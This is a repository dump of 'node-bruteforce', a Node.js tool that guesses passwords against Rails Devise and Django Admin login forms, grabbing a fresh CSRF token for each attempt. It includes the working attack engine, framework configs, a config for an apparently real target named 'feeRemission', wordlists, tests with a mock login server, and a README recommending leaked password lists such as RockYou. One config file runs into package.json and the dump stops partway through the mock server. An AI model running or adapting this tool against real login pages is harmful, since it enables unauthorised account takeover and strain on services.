├── log
└── .keep
├── test
├── resources
│ ├── words.txt
│ └── sampleConfig.json
├── application.js
├── attack.js
├── inputValidator.js
├── configBuilder.js
└── support
│ └── mockServer.js
├── .gitignore
├── words.txt
├── run.js
├── coverage
└── blanket.js
├── config
├── custom
│ ├── template.json
│ └── feeRemission.json
└── frameworks
│ ├── railsDevise.json
│ └── djangoAdmin.json
├── package.json
├── src
├── inputValidator.js
├── logger.js
├── application.js
├── programBuilder.js
├── csrfToken.js
├── configBuilder.js
└── attack.js
├── Gruntfile.js
└── README.md
/log/.keep:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/test/resources/words.txt:
--------------------------------------------------------------------------------
1 | notpassword
2 | password
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules/
2 | rockyou*
3 | log/*.log
4 | coverage.html
--------------------------------------------------------------------------------
/words.txt:
--------------------------------------------------------------------------------
1 | 123456789
2 | 1234567890
3 | 123456
4 | hello
5 | password
6 |
--------------------------------------------------------------------------------
/run.js:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env node
2 |
3 | (function() {
4 |
5 | var application = require('./src/application.js');
6 |
7 | application.run(process.argv);
8 |
9 | })()
10 |
11 |
--------------------------------------------------------------------------------
/coverage/blanket.js:
--------------------------------------------------------------------------------
1 | var path = require('path');
2 |
3 | var srcDir = path.join(__dirname, '..', 'src');
4 |
5 | require('blanket')({
6 | // Only files that match the pattern will be instrumented
7 | pattern: srcDir
8 | });
--------------------------------------------------------------------------------
/config/custom/template.json:
--------------------------------------------------------------------------------
1 | {
2 | "capture": {
3 | "csrfRegex": "",
4 | "loginRegex": []
5 | },
6 | "csrf": {
7 | "url": "%URL%",
8 | "method": "GET",
9 | "headers": {},
10 | "rejectUnauthorized": false
11 | },
12 | "login": {
13 | "url": "%URL%",
14 | "method": "POST",
15 | "headers": {
16 | "Cookie": "%COOKIE%"
17 | },
18 | "form": {
19 | "authenticity_token": "%TOKEN%",
20 | "user": "%USER%",
21 | "password": "%PASS%",
22 | },
23 | "rejectUnauthorized": false
24 | }
25 | }
--------------------------------------------------------------------------------
/test/resources/sampleConfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "capture": {
3 | "csrfRegex": "token=(.*)",
4 | "loginRegex": [
5 | "Bad login"
6 | ]
7 | },
8 | "csrf": {
9 | "url": "%URL%/csrf",
10 | "method": "GET",
11 | "headers": {},
12 | "rejectUnauthorized": false
13 | },
14 | "login": {
15 | "url": "%URL%/login",
16 | "method": "POST",
17 | "headers": {
18 | "Cookie": "%COOKIE%"
19 | },
20 | "form": {
21 | "authenticity_token": "%TOKEN%",
22 | "user": "%USER%",
23 | "password": "%PASS%"
24 | },
25 | "rejectUnauthorized": false
26 | }
27 | }
--------------------------------------------------------------------------------
/config/custom/feeRemission.json:
--------------------------------------------------------------------------------
1 | {
2 | "capture": {
3 | "csrfRegex": "name=\"authenticity_token\" value=\"(.{88})\" \/>",
4 | "loginRegex": [
5 | "Invalid email or password"
6 | ]
7 | },
8 | "csrf": {
9 | "url": "%URL%",
10 | "method": "GET",
11 | "headers": {},
12 | "rejectUnauthorized": false
13 | },
14 | "login": {
15 | "url": "%URL%",
16 | "method": "POST",
17 | "headers": {
18 | "Cookie": "%COOKIE%"
19 | },
20 | "form": {
21 | "authenticity_token": "%TOKEN%",
22 | "user[email]": "%USER%",
23 | "user[password]": "%PASS%",
24 | "commit": "Sign+in"
25 | },
26 | "rejectUnauthorized": false
27 | }
28 | }
--------------------------------------------------------------------------------
/config/frameworks/railsDevise.json:
--------------------------------------------------------------------------------
1 | {
2 | "capture": {
3 | "csrfRegex": "",
10 | "license": "MIT",
11 | "repository": {
12 | "type": "git",
13 | "url": "https://github.com/foxjerem/node-bruteforce"
14 | },
15 | "preferGlobal": true,
16 | "bin": {
17 | "node-bruteforce": "run.js"
18 | },
19 | "dependencies": {
20 | "async": "^1.3.0",
21 | "commander": "^2.8.1",
22 | "event-stream": "^3.3.1",
23 | "request": "^2.58.0",
24 | "winston": "^1.0.1"
25 | },
26 | "devDependencies": {
27 | "blanket": "^1.1.7",
28 | "expect.js": "^0.3.1",
29 | "grunt": "^0.4.5",
30 | "grunt-contrib-jshint": "^0.11.2",
31 | "grunt-contrib-watch": "^0.6.1",
32 | "grunt-env": "^0.4.4",
33 | "grunt-mocha-test": "^0.12.7",
34 | "grunt-run": "^0.3.0",
35 | "mocha": "^2.2.5",
36 | "run": "^1.4.0",
37 | "sinon": "^1.15.4"
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/test/application.js:
--------------------------------------------------------------------------------
1 | var expect = require('expect.js');
2 | var sinon = require('sinon');
3 | var application = require('../src/application.js');
4 | var attack = require('../src/attack.js');
5 | var configBuilder = require('../src/configBuilder.js');
6 |
7 | describe('Application', function() {
8 | var attackStub;
9 |
10 | beforeEach(function() {
11 | attackStub = sinon.stub(attack, 'launch');
12 | });
13 |
14 | afterEach(function() {
15 | attackStub.restore();
16 | });
17 |
18 | describe('usage', function() {
19 | it('should launch an attack with the supplied paramters', function() {
20 | var args =
21 | 'node run -u root -w words.txt -t http://dvwa.org -N 35 -T rails'
22 | .split(' ');
23 | var configSpy = sinon.spy(configBuilder, 'fromOptions');
24 |
25 | application.run(args);
26 |
27 | sinon.assert.calledWith(configSpy, {
28 | username: 'root',
29 | wordlist: 'words.txt',
30 | target: 'http://dvwa.org',
31 | concurrency: 35,
32 | configFile: undefined,
33 | type: 'rails'
34 | });
35 | sinon.assert.calledOnce(attackStub);
36 | });
37 | });
38 | });
--------------------------------------------------------------------------------
/src/inputValidator.js:
--------------------------------------------------------------------------------
1 | var logger = require('./logger.js');
2 |
3 | // ================================================================================================
4 | // Validate options passed to program via interface
5 | // ================================================================================================
6 |
7 | function checkAll(program) {
8 |
9 | function check(condition, message) {
10 | if (!condition) {
11 | if (message) logger.error(message);
12 | program.help();
13 | }
14 | }
15 |
16 | // Display help if no arguments passed
17 | check(program.rawArgs.slice(2).length);
18 |
19 | // Check all required args present
20 | check(
21 | (program.username && program.wordlist && program.target),
22 | 'Ensure all required arguments are provided (user, wordlist, url)'
23 | );
24 |
25 | // Don't allow a framework choice and a custom config file
26 | check(
27 | !(program.type && program.config),
28 | 'Selecting a custom config file will overwrite the target framework choice'
29 | );
30 |
31 | // Require either a framework choice or config file
32 | check(
33 | (program.type || program.config),
34 | 'Select either a supported framework or provide a config file'
35 | );
36 | }
37 |
38 | exports.checkAll = checkAll;
39 |
--------------------------------------------------------------------------------
/src/logger.js:
--------------------------------------------------------------------------------
1 | var winston = require('winston');
2 |
3 | // ================================================================================================
4 | // Build a custom logger for production and test
5 | // ================================================================================================
6 |
7 | winston.emitErrs = true;
8 |
9 | var productionLogger = new winston.Logger({
10 | transports: [
11 | new winston.transports.File({
12 | level: 'info',
13 | filename: './log/production.log',
14 | handleExceptions: true,
15 | json: true,
16 | maxsize: 1048576, //1MB
17 | maxFiles: 1,
18 | colorize: false
19 | }),
20 | new winston.transports.Console({
21 | level: 'debug',
22 | handleExceptions: true,
23 | json: false,
24 | colorize: true
25 | })
26 | ],
27 | exitOnError: false
28 | });
29 |
30 | var testLogger = new winston.Logger({
31 | transports: [
32 | new winston.transports.File({
33 | level: 'debug',
34 | filename: './log/test.log',
35 | handleExceptions: true,
36 | json: true,
37 | maxsize: 1048576, //1MB
38 | maxFiles: 1,
39 | colorize: false
40 | })
41 | ],
42 | exitOnError: false
43 | });
44 |
45 | function logger() {
46 | if (process.env.NODE_ENV === 'test') {
47 | return testLogger;
48 | } else {
49 | return productionLogger;
50 | }
51 | }
52 |
53 | module.exports = (logger());
54 |
--------------------------------------------------------------------------------
/src/application.js:
--------------------------------------------------------------------------------
1 | var attack = require('./attack.js');
2 | var configBuilder = require('./configBuilder.js');
3 | var inputValidator = require('./inputValidator.js');
4 | var programBuilder = require('./programBuilder.js');
5 | var logger = require('./logger.js');
6 |
7 | // ================================================================================================
8 | // Main
9 | // ================================================================================================
10 |
11 | function run(cliArgs) {
12 |
13 | // Create the program object
14 | var program = programBuilder.fromArgs(cliArgs);
15 |
16 | // Check all options passed make sense
17 | inputValidator.checkAll(program);
18 |
19 | // Create the configuration
20 | var opt = {
21 | username: program.username,
22 | wordlist: program.wordlist,
23 | target: program.target,
24 | concurrency: parseInt(program.numRequests),
25 | configFile: program.config,
26 | type: program.type
27 | };
28 |
29 | logger.info('Parsing configuration');
30 |
31 | var config = configBuilder.fromOptions(opt);
32 | var numErrors = 0;
33 |
34 | // Define callback on finding password
35 | function onSuccess(password) {
36 | process.exit(0);
37 | }
38 |
39 | // Define callback on error
40 | function onError() {
41 | if (++numErrors > program.errorThreshold) {
42 | process.exit(1);
43 | }
44 | }
45 |
46 | // Launch the attack
47 | logger.info('Starting bruteforce...');
48 |
49 | attack.launch(
50 | config,
51 | onSuccess,
52 | onError
53 | );
54 | }
55 |
56 | exports.run = run;
57 |
--------------------------------------------------------------------------------
/src/programBuilder.js:
--------------------------------------------------------------------------------
1 | var program = require('commander');
2 |
3 | // ================================================================================================
4 | // Build a program object from a raw arguments array
5 | // ================================================================================================
6 |
7 | function fromArgs(args) {
8 |
9 | // Define option switches
10 | program
11 | .version('1.0.0')
12 | .usage('-u -w -t [options]')
13 | .description('NodeJS HTTP(S) Login Form Bruteforcer')
14 | .option('-u, --username ', 'login username')
15 | .option('-w, --wordlist ', 'dictionary file')
16 | .option('-t, --target ', 'target sign in url')
17 | .option('-N, --num-requests [n]', 'maximum concurrent requests (default 25)', 25)
18 | .option('-T, --type [framework]', 'specify target framework', /^(rails|django)$/i, false)
19 | .option('-c, --config [file]', 'custom .json config file')
20 | .option('-e, --error-threshold [n]', 'maximum errors before shutdown (default 10)', 10);
21 |
22 | // Add examples to help menu
23 | program.on('--help', function() {
24 | console.log(' Examples:\n');
25 | console.log(
26 | ' $ ./run.js -u root -w words.txt -N 50 ' +
27 | '-t http://localhost:8000/admin -T django'
28 | );
29 | console.log(
30 | ' $ ./run.js -u admin@rails.com -w words.txt -N 35 ' +
31 | '-t http://localhost:3000/users/sign_in -T rails'
32 | );
33 | console.log(
34 | ' $ ./run.js -u root -w words.txt' +
35 | '-t http://dvwa/login -c config/dvwa.json\n'
36 | );
37 | });
38 |
39 | program.parse(args);
40 |
41 | return program;
42 | }
43 |
44 | exports.fromArgs = fromArgs;
--------------------------------------------------------------------------------
/Gruntfile.js:
--------------------------------------------------------------------------------
1 | module.exports = function(grunt) {
2 |
3 | // Config
4 | grunt.initConfig({
5 | pkg: grunt.file.readJSON('package.json'),
6 | jshint: {
7 | files: [ 'Gruntfile.js', 'src/**/*.js', 'test/**/*.js']
8 | },
9 | env : {
10 | dev : {
11 | NODE_ENV : grunt.option('environment') || 'test',
12 | }
13 | },
14 | run: {
15 | mockServer: {
16 | options: {
17 | wait: false
18 | },
19 | // cmd: "node", // but that's the default
20 | args: [
21 | 'test/support/mockServer.js'
22 | ]
23 | }
24 | },
25 | watch: {
26 | scripts: {
27 | files: ['<%= jshint.files %>'],
28 | tasks: ['jshint'],
29 | options: {
30 | deboundeDelay: 10000
31 | }
32 | }
33 | },
34 | mochaTest: {
35 | test: {
36 | options: {
37 | reporter: 'spec',
38 | quiet: false,
39 | clearRequireCache: false,
40 | require: 'coverage/blanket'
41 | },
42 | src: ['test/*.js']
43 | },
44 | coverage: {
45 | options: {
46 | reporter: 'html-cov',
47 | quiet: true,
48 | captureFile: 'coverage.html'
49 | },
50 | src: ['test/*.js']
51 | }
52 | }
53 | });
54 |
55 | // Plugins
56 | grunt.loadNpmTasks('grunt-contrib-jshint');
57 | grunt.loadNpmTasks('grunt-contrib-watch');
58 | grunt.loadNpmTasks('grunt-mocha-test');
59 | grunt.loadNpmTasks('grunt-env');
60 | grunt.loadNpmTasks('grunt-run');
61 |
62 | // Register Tasks
63 | grunt.registerTask('default', ['env', 'run:mockServer', 'jshint', 'mochaTest']);
64 | grunt.registerTask('test', ['env', 'run:mockServer', 'mochaTest']);
65 | };
--------------------------------------------------------------------------------
/src/csrfToken.js:
--------------------------------------------------------------------------------
1 | var request = require('request');
2 | var logger = require('./logger.js');
3 |
4 | // ================================================================================================
5 | // Handle collecting and storing CSRF tokens
6 | // ================================================================================================
7 |
8 | module.exports = function(config, onSuccess, onError) {
9 |
10 | var module = {};
11 |
12 | // ================================================================================================
13 | // Public API
14 | // ================================================================================================
15 |
16 | module.pool = [];
17 |
18 | module.fetch = function(callback) {
19 | var sample = module.pool.pop();
20 |
21 | if (sample) {
22 | callback(sample.token, sample.cookie);
23 | } else {
24 | requestFromTarget(callback);
25 | }
26 | };
27 |
28 | module.extractFromResponse = function(response, body, csrfRegex, callback) {
29 | var cookieString = response.headers['set-cookie'] || '';
30 | var capture = body.match(new RegExp(csrfRegex));
31 |
32 | if (!capture) {
33 |
34 | logger.error('CSRF token not found');
35 | logger.info('Debug info:\n');
36 | logger.info(body);
37 | onError();
38 |
39 | }
40 |
41 | callback(capture[1], cookieString);
42 | };
43 |
44 | // ================================================================================================
45 | // Private
46 | // ================================================================================================
47 |
48 | function requestFromTarget(callback) {
49 | var reqConfig = config.getAdvanced();
50 |
51 | request(reqConfig.csrf, function (error, response, body) {
52 |
53 | if (!error && response.statusCode === 200) {
54 |
55 | module.extractFromResponse(
56 | response,
57 | body,
58 | reqConfig.capture.csrfRegex,
59 | callback
60 | );
61 |
62 | } else {
63 |
64 | logger.warn('Server responded with: ' + response.statusCode);
65 | onError();
66 |
67 | }
68 | });
69 | }
70 |
71 | return module;
72 | };
--------------------------------------------------------------------------------
/test/attack.js:
--------------------------------------------------------------------------------
1 |
2 | var expect = require('expect.js');
3 | var sinon = require('sinon');
4 | var attack = require('../src/attack.js');
5 | var configBuilder = require('../src/configBuilder.js');
6 | var logger = require('../src/logger.js');
7 |
8 | describe('Attack', function() {
9 | var opt = {
10 | username: 'root',
11 | wordlist: 'test/resources/words.txt',
12 | target: 'http://localhost:9000',
13 | concurrency: 1,
14 | configFile: 'test/resources/sampleConfig.json'
15 | };
16 | var config = configBuilder.fromOptions(opt);
17 | var msgSpy;
18 | var errSpy;
19 | var warnSpy;
20 |
21 | beforeEach(function() {
22 | msgSpy = sinon.spy(logger, 'info');
23 | errSpy = sinon.spy(logger, 'error');
24 | warnSpy = sinon.spy(logger, 'warn');
25 | });
26 |
27 | afterEach(function() {
28 | msgSpy.restore();
29 | errSpy.restore();
30 | warnSpy.restore();
31 | });
32 |
33 | describe('#launch', function() {
34 | it('should display a found password', function(done) {
35 | attack.launch(config, function() {
36 | sinon.assert.calledWithMatch(msgSpy, /found/i);
37 | done();
38 | });
39 | });
40 |
41 | it('should display an invalid password attempt', function(done) {
42 | attack.launch(config, function() {
43 | sinon.assert.calledWithMatch(msgSpy, /invalid: notpassword/i);
44 | done();
45 | });
46 | });
47 |
48 | it('should display an error if a CSRF token is not found', function(done) {
49 | opt.target = 'http://localhost:9000/non-existent';
50 | var badConfig = configBuilder.fromOptions(opt);
51 |
52 | attack.launch(badConfig, undefined, function() {
53 | sinon.assert.calledWithMatch(errSpy, /csrf token not found/i);
54 | done();
55 | });
56 | });
57 |
58 | it('should display a warning if server responds with non-success code', function(done) {
59 | opt.target = 'http://localhost:9000/unknown';
60 | var badConfig = configBuilder.fromOptions(opt);
61 |
62 | attack.launch(badConfig, undefined, function() {
63 | sinon.assert.calledWithMatch(warnSpy, /server responded with: 404/i);
64 | done();
65 | });
66 | });
67 | });
68 | });
--------------------------------------------------------------------------------
/test/inputValidator.js:
--------------------------------------------------------------------------------
1 | var expect = require('expect.js');
2 | var sinon = require('sinon');
3 | var validator = require('../src/inputValidator.js');
4 | var logger = require('../src/logger.js');
5 |
6 | describe('Input Validation', function() {
7 | var msgSpy;
8 | var dblProgram;
9 |
10 | beforeEach(function() {
11 | dblProgram = {
12 | rawArgs: [
13 | 'node',
14 | 'run',
15 | 'options'
16 | ],
17 | username: 'root',
18 | wordlist: 'words.txt',
19 | target: 'http://dvwa.org',
20 | type: 'rails',
21 | help: sinon.spy()
22 | };
23 |
24 | msgSpy = sinon.spy(logger, 'error');
25 | });
26 |
27 | afterEach(function() {
28 | msgSpy.restore();
29 | });
30 |
31 | describe('#checkAll', function() {
32 | it('should display the help menu if the program is called with no args', function() {
33 | dblProgram.rawArgs = [ 'node', 'run'];
34 |
35 | validator.checkAll(dblProgram);
36 |
37 | sinon.assert.calledOnce(dblProgram.help);
38 | });
39 |
40 | it('should display a message if the required arguments are not passed', function() {
41 | delete dblProgram.username;
42 |
43 | validator.checkAll(dblProgram);
44 |
45 | sinon.assert.calledOnce(dblProgram.help);
46 | sinon.assert.calledWithMatch(msgSpy, /required arguments/i);
47 | });
48 |
49 | it('should display a message if BOTH config file and framework are passed', function() {
50 | dblProgram.config = 'config.json';
51 | validator.checkAll(dblProgram);
52 |
53 | sinon.assert.calledOnce(dblProgram.help);
54 | sinon.assert.calledWithMatch(msgSpy, /overwrite the target framework/i);
55 | });
56 |
57 | it('should display a message if NEITHER config file and framework are passed', function() {
58 | delete dblProgram.type;
59 |
60 | validator.checkAll(dblProgram);
61 |
62 | sinon.assert.calledOnce(dblProgram.help);
63 | sinon.assert.calledWithMatch(msgSpy, /framework or provide a config file/i);
64 | });
65 |
66 | it('should not display anything otherwise', function() {
67 | validator.checkAll(dblProgram);
68 |
69 | sinon.assert.neverCalledWithMatch(dblProgram.help, /.*/);
70 | sinon.assert.neverCalledWithMatch(msgSpy, /.*/);
71 | });
72 | });
73 | });
--------------------------------------------------------------------------------
/src/configBuilder.js:
--------------------------------------------------------------------------------
1 | var fs = require('fs');
2 | var path = require('path');
3 |
4 | // ================================================================================================
5 | // Build an attack configuration from an options object
6 | // ================================================================================================
7 |
8 | function fromOptions(options) {
9 | var config = new Config();
10 |
11 | var path = config.getSource(options.type, options.configFile);
12 | var raw = fs.readFileSync(path, 'utf-8');
13 |
14 | raw = gsub(raw, config.ANCHORS.user, options.username);
15 | raw = gsub(raw, config.ANCHORS.url, options.target);
16 |
17 | config.rawAdvanced = raw;
18 | config.wordlist = options.wordlist;
19 | config.concurrency = options.concurrency;
20 |
21 | return config;
22 | }
23 |
24 | exports.fromOptions = fromOptions;
25 |
26 | // ================================================================================================
27 | // Config object and method definition
28 | // ================================================================================================
29 |
30 | function Config() {}
31 |
32 | Config.prototype.ANCHORS = {
33 | user: '%USER%',
34 | pass: '%PASS%',
35 | url: '%URL%',
36 | token: '%TOKEN%',
37 | cookie: '%COOKIE%'
38 | };
39 |
40 | Config.prototype.FRAMEWORKS = {
41 | rails: 'railsDevise.json',
42 | django: 'djangoAdmin.json'
43 | };
44 |
45 | Config.prototype.CONFIG_PATH = 'config/frameworks';
46 |
47 | Config.prototype.getSource = function(type, file) {
48 | if (file) {
49 | return file;
50 | } else {
51 | return path.join(this.CONFIG_PATH, this.FRAMEWORKS[type]);
52 | }
53 | };
54 |
55 | Config.prototype.getAdvanced = function() {
56 | return JSON.parse(this.rawAdvanced);
57 | };
58 |
59 | Config.prototype.getLogin = function(password, token, cookie) {
60 | var raw = this.rawAdvanced;
61 |
62 | raw = gsub(raw, this.ANCHORS.pass, password);
63 | raw = gsub(raw, this.ANCHORS.token, token);
64 | raw = gsub(raw, this.ANCHORS.cookie, cookie);
65 |
66 | return JSON.parse(raw).login;
67 | };
68 |
69 | // ================================================================================================
70 | // Helpers
71 | // ================================================================================================
72 |
73 | function gsub(sTarget, sFind, sReplace) {
74 | var reFind = new RegExp(sFind, 'g');
75 |
76 | return sTarget.replace(reFind, sReplace);
77 | }
78 |
--------------------------------------------------------------------------------
/test/configBuilder.js:
--------------------------------------------------------------------------------
1 | var path = require('path');
2 | var expect = require('expect.js');
3 | var configBuilder = require('../src/configBuilder.js');
4 |
5 | describe('Config', function() {
6 | var options;
7 | var config;
8 |
9 | beforeEach(function() {
10 | opt = {
11 | username: 'root',
12 | wordlist: 'words.txt',
13 | target: 'http://dvwa.org',
14 | concurrency: 25,
15 | configFile: 'test/resources/sampleConfig.json'
16 | };
17 |
18 | config = configBuilder.fromOptions(opt);
19 | });
20 |
21 | describe('#new', function() {
22 | it('should set the wordlist', function() {
23 | expect(config.wordlist).to.eql(opt.wordlist);
24 | });
25 |
26 | it('should set the concurrency', function() {
27 | expect(config.concurrency).to.eql(opt.concurrency);
28 | });
29 |
30 | it('should updated raw config with known parameters', function() {
31 | expect(config.rawAdvanced).to.match(/\"url\": \"http:\/\/dvwa\.org\.*/);
32 | expect(config.rawAdvanced).to.match(/\"user\": \"root\"/);
33 | });
34 | });
35 |
36 | describe('#getSource', function() {
37 | it('should return the config file if one is set', function() {
38 | expect(config.getSource('', opt.configFile)).to.eql(opt.configFile);
39 | });
40 |
41 | it('should return the appropriate framework path if one is selected', function() {
42 | var railsOpt = opt;
43 | railsOpt.type = 'rails';
44 | delete railsOpt.configFile;
45 |
46 | var railsConfig = configBuilder.fromOptions(railsOpt);
47 |
48 | expect(railsConfig.getSource('rails')).to.eql(
49 | path.join(
50 | railsConfig.CONFIG_PATH,
51 | railsConfig.FRAMEWORKS.rails
52 | )
53 | );
54 | });
55 | });
56 |
57 | describe('#getAdvanced', function() {
58 | it('should return a config JSON object', function() {
59 | expect(config.getAdvanced().csrf.url).to.match(new RegExp(opt.target));
60 | expect(config.getAdvanced().login.url).to.match(new RegExp(opt.target));
61 | });
62 | });
63 |
64 | describe('#getLogin', function() {
65 | it('should return a config JSON object update with login fields', function() {
66 | var loginConfig = config.getLogin('pass', 'token', 'cookie');
67 |
68 | expect(loginConfig.form.password).to.eql('pass');
69 | expect(loginConfig.form.authenticity_token).to.eql('token');
70 | expect(loginConfig.headers.Cookie).to.eql('cookie');
71 | });
72 | });
73 | });
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## Bringing the power of NodeJS to web form bruteforcing...
2 |
3 | [](https://codeclimate.com/github/foxjerem/node-bruteforce)
4 |
5 | A number of great open source bruteforce tools exist. However they are not able to handle the nonce-based CSRF protection embedded into Rails and Django. This tool addresses this by first grabbing the CSRF token from the login page and then sending a login POST request. It comes pre-configured for Rails Devise and Django Admin interface and supports custom configuration for other variations. An option to set the maximum number of concurrent requests prevents overloading the target server.
6 |
7 | Please use responsibly!
8 |
9 | ### Setup
10 |
11 | ```shell
12 | $ git clone git@github.com:foxjerem/node-bruteforce.git
13 | $ cd node-bruteforce
14 | $ chmod 755 run.js
15 | $ npm install -g
16 | $ node-bruteforce
17 | ```
18 |
19 | ### Usage
20 |
21 | ```shell
22 |
23 | Usage: node-bruteforce -u -w -t [options]
24 |
25 | NodeJS HTTP(S) Login Form Bruteforcer
26 |
27 | Options:
28 |
29 | -h, --help output usage information
30 | -V, --version output the version number
31 | -u, --username login username
32 | -w, --wordlist dictionary file
33 | -t, --target target sign in url
34 | -N, --num-requests [n] maximum concurrent requests (default 25)
35 | -T, --type [framework] specify target framework
36 | -c, --config [file] custom .json config file
37 |
38 | Examples:
39 |
40 | $ ./run.js -u root -w words.txt -N 50 -t http://localhost:8000/admin -T django
41 | $ ./run.js -u admin@rails.com -w words.txt -N 35 -t http://localhost:3000/users/sign_in -T rails
42 | $ ./run.js -u root -w words.txt-t http://dvwa/login -c config/dvwa.json
43 |
44 | ```
45 |
46 | ### Custom Configuration
47 |
48 | Rails Devise and Django Admin default login screens are supported by default through the -T flag. In case some settings have been modified or for applications with a similar set up, users can create a custom config file to use through the -c flag. See the [template](https://github.com/foxjerem/node-bruteforce/blob/master/config/custom/template.json) for a skeleton config to get started.
49 |
50 | ### Wordlists
51 |
52 | A number of dependable wordlists can be found here:
53 |
54 | + [Linkedin 2012](http://www.adeptus-mechanicus.com/codex/hashpass/hashpass.php)
55 | + [RockYou](https://wiki.skullsecurity.org/Passwords)
56 |
57 | ### Test Suite
58 |
59 | Test runs are handled via grunt. A mini web application instance is spawned at the beginning of the test suite to handle the http requests generated by the attack.
60 |
61 | ```shell
62 |
63 | $ grunt
64 |
65 | Running "env:dev" (env) task
66 |
67 | Running "run:mockServer" (run) task
68 | >> mockServer started
69 | [+] Starting mini web application on port 9000
70 |
71 | Running "jshint:files" (jshint) task
72 | >> 12 files lint free.
73 |
74 | Running "mochaTest:test" (mochaTest) task
75 | ...
76 |
77 | ```
78 |
79 | ### TODO
80 |
81 | + Better name!
82 | + Trap SIGINT signal. Shutdown gracefully and give ability to restore session using -R flag
83 |
84 |
85 |
--------------------------------------------------------------------------------
/src/attack.js:
--------------------------------------------------------------------------------
1 | var fs = require('fs');
2 | var es = require('event-stream');
3 | var async = require('async');
4 | var request = require('request');
5 | var logger = require('./logger.js');
6 |
7 | // ================================================================================================
8 | // Manage login attempts to target
9 | // ================================================================================================
10 |
11 | function launch(config, onSuccess, onError) {
12 | var csrfToken = require('./csrfToken.js')(config, onSuccess, onError);
13 | var queue = async.queue(tryLogin, config.concurrency);
14 |
15 | queue.drain = function() {
16 | logger.info('Finished');
17 | };
18 |
19 | logger.info('Reading wordlist...');
20 |
21 | fs.createReadStream(config.wordlist)
22 | .on('error', function() {
23 | logger.error('Error reading file');
24 | })
25 | .on('end', function() {
26 | logger.info('Full wordlist read');
27 | })
28 | .pipe(es.split())
29 | .pipe(es.map(function(word) {
30 | queue.push(word);
31 | })
32 | );
33 |
34 | // ==============================================================================================
35 | // Private
36 | // ==============================================================================================
37 |
38 | // Process server response to a login attempt
39 | function processLoginResponse(response, body, password) {
40 |
41 | // If we match known regex (can be multiple) password is incorrect
42 | var captureConfig = config.getAdvanced().capture;
43 | var loginFailures = captureConfig.loginRegex;
44 | var csrfRegex = captureConfig.csrfRegex;
45 |
46 | if (response.statusCode === 200 && matchAny(loginFailures, body)) {
47 |
48 | logger.info('Invalid: ' + password);
49 |
50 | csrfToken.extractFromResponse(response, body, csrfRegex, function(token, cookieString) {
51 | csrfToken.pool.push({
52 | token: token,
53 | cookie: cookieString
54 | });
55 | });
56 |
57 | } else if (response.statusCode < 400) {
58 |
59 | logger.info('FOUND: ' + password);
60 | logger.info('Shutting down....');
61 | onSuccess(password);
62 |
63 | } else {
64 |
65 | logger.warn('Server responded with: ' + response.statusCode);
66 | onError();
67 |
68 | }
69 | }
70 |
71 | // Attempt to login with given password
72 | function tryLogin(password, callback) {
73 |
74 | csrfToken.fetch(function(token, cookieString) {
75 | var opt = config.getLogin(password, token, cookieString);
76 |
77 | // Send a login POST
78 | request(opt, function (error, response, body) {
79 |
80 | if (!error) {
81 | processLoginResponse(response, body, password);
82 | } else {
83 | logger.error(error.toString());
84 | }
85 |
86 | callback();
87 | });
88 | });
89 | }
90 | }
91 |
92 | exports.launch = launch;
93 |
94 | // ================================================================================================
95 | // Helpers
96 | // ================================================================================================
97 |
98 | function matchAny(arrPatterns, sTarget) {
99 | for (var i = 0; i < arrPatterns.length; i++) {
100 |
101 | var re = new RegExp(arrPatterns[i]);
102 | var match = sTarget.match(re);
103 |
104 | if (match) {
105 | return match;
106 | }
107 | }
108 |
109 | return null;
110 |
111 | }
--------------------------------------------------------------------------------
/test/support/mockServer.js:
--------------------------------------------------------------------------------
1 | // ================================================================================================
2 | //
3 | // Mini web application implementing a login to attack
4 | //
5 | // Serves URLs:
6 | // -> http://localhost:9000/csrf
7 | // -> http://localhost:9000/non-existent/csrf
8 | // -> http://localhost:9000/login
9 | //
10 | // ================================================================================================
11 | //
12 | var http = require('http');
13 | var url = require('url');
14 | var querystring = require('querystring');
15 | var crypto = require('crypto');
16 | //
17 | // Config
18 | //
19 | var USERNAME = 'root';
20 | var PASSWORD = 'password';
21 | var PORT = 9000;
22 | var TOKENS = [];
23 | //
24 | // Server
25 | //
26 | var httpServer = (function() {
27 | var module = {};
28 |
29 | module.start = function(route, handle) {
30 | function onRequest(req, res) {
31 | var pathname = url.parse(req.url).pathname;
32 |
33 | route(handle, pathname, req, res);
34 | }
35 |
36 | http
37 | .createServer(onRequest)
38 | .listen(PORT);
39 | };
40 |
41 | return module;
42 |
43 | } ());
44 | //
45 | // Routes
46 | //
47 | var Router = (function() {
48 | var module = {};
49 |
50 | module.route = function(handle, pathname, req, res) {
51 | if (typeof handle[pathname] === 'function') {
52 | handle[pathname] (req, res);
53 | } else {
54 | handle['404'] (req, res);
55 | }
56 | };
57 |
58 | return module;
59 |
60 | } ());
61 | //
62 | // Request Handling
63 | //
64 | var RequestHandler = (function() {
65 | var module = {};
66 |
67 | module.notFound = function(req, res) {
68 | res.writeHead(404, {'Content-Type': 'text/plain'});
69 | res.write('[-] 404 NOT FOUND');
70 | res.end();
71 | };
72 |
73 | module.csrf = function(req, res) {
74 | var token = generateToken();
75 |
76 | res.writeHead(200, {'Content-Type': 'text/plain'});
77 | res.write('[+] token=' + token);
78 | res.end();
79 | };
80 |
81 | module.noCsrf = function(req, res) {
82 | res.writeHead(200, {'Content-Type': 'text/plain'});
83 | res.write('[-] No token here');
84 | res.end();
85 | };
86 |
87 | module.login = function(req, res) {
88 | var postData = '';
89 |
90 | req.on('data', function(data) {
91 | postData += data;
92 | });
93 |
94 | req.on('end', function() {
95 | var data = querystring.parse(postData);
96 |
97 | if (TOKENS.indexOf(data.authenticity_token) === -1) {
98 | serverError(res);
99 | } else if (data.user === USERNAME && data.password === PASSWORD) {
100 | allowed(res);
101 | } else {
102 | denied(res);
103 | }
104 | });
105 | };
106 | //
107 | // Private
108 | //
109 | function serverError(res) {
110 | res.writeHead(500, {'Content-Type': 'text/plain'});
111 | res.write('[-] Invalid token');
112 | res.end();
113 | }
114 |
115 | function allowed(res) {
116 | res.writeHead(200, {'Content-Type': 'text/plain'});
117 | res.write('Welcome legitimate user');
118 | res.end();
119 | }
120 |
121 | function denied(res) {
122 | var token = generateToken();
123 |
124 | res.writeHead(200, {'Content-Type': 'text/plain'});
125 | res.write('Bad login');
